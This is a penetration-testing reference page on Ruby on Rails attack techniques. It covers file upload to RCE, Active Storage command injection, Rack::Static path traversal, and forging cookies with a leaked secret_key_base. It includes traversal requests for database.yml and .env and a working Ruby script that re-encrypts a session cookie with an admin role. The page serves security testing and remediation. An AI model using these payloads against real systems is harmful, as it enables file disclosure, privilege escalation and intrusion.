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Ruby Tricks

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File upload to RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

Tips:

  • Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., config/initializers/ is the classic one). If you find an arbitrary file upload that lands anywhere under config/ and is later evaluated/required, you may obtain RCE at boot.
  • Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

  • A vulnerable pattern looks like:

    <%= image_tag blob.variant(params[:t] => params[:v]) %>

    where params[:t] and/or params[:v] are attacker-controlled.

  • What to try during testing

    • Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
    • Fuzz params[:t] and params[:v] for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
    • If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.

  • Remediation/detections

    • If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

  • Hunt for apps that mount Rack::Static in config.ru or middleware stacks. Try encoded traversals against static paths, for example:

    GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

    Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.

  • Mitigation: upgrade Rack; ensure :root only points to a directory of public files and is explicitly set.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notes:

  • Older apps may use AES-256-CBC and salts encrypted cookie / signed encrypted cookie, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
  • On compromise/assessment, rotate secret_key_base to invalidate all existing cookies.

See also (Ruby/Rails-specific vulns)

  • Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}}
  • Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}}

References